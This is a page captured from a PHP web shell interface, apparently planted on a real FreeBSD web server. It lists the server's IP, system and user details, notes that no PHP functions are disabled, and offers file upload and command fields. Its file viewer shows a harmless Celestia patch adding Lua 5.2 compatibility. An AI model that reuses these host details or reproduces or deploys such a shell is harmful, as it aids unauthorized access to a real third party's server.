403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/astro/celestia/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/astro/celestia/files/celestia-lua-52-fix.patch
--- celestia-1.6.1.orig/src/celestia/celx.cpp	2014-02-09 23:23:10.308810741 +0000
+++ celestia-1.6.1/src/celestia/celx.cpp	2014-02-09 23:24:57.627017784 +0000
@@ -272,9 +272,13 @@ 
                            const char* name,
                            lua_CFunction func)
 {
+#if LUA_VER >= 0x050200
+    luaL_requiref(l, name, func, 1);
+#else
     lua_pushcfunction(l, func);
     lua_pushstring(l, name);
     lua_call(l, 1, 0);
+#endif
 }
 #endif
 

Youez - 2016 - github.com/yon3zu
LinuXploit